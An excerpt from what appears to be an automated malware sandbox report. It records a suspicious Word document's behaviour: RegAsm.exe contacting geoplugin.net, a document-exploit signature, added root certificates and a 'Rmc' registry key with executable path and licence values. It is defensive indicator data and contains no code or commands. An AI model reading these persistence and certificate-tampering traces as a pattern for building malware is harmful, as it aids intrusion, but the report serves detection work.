Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port

178.237.33.50

geoplugin.net

Netherlands

Details

IP:	178.237.33.50
TargetID:	11
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Country:	Netherlands
Countrycode:	NLD
ASN number:	8455
ASN name:	ATOM86-ASATOM86NL
Private:	false
Domain:	geoplugin.net

Signature Hits	Behavior Group	Mitre Attack
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution

Registry

Path

Value

Malicious

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C

Blob

HKEY_CURRENT_USER\Software\Rmc-999Z97

exepath

HKEY_CURRENT_USER\Software\Rmc-999Z97

licence

HKEY_CURRENT_USER\Software\Rmc-999Z97

time

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

z~+

HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Outlook\Journaling\Microsoft Word

Enabled

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word

MTTT

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

d +

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

} ,

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle

ReviewToken

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\27446

27446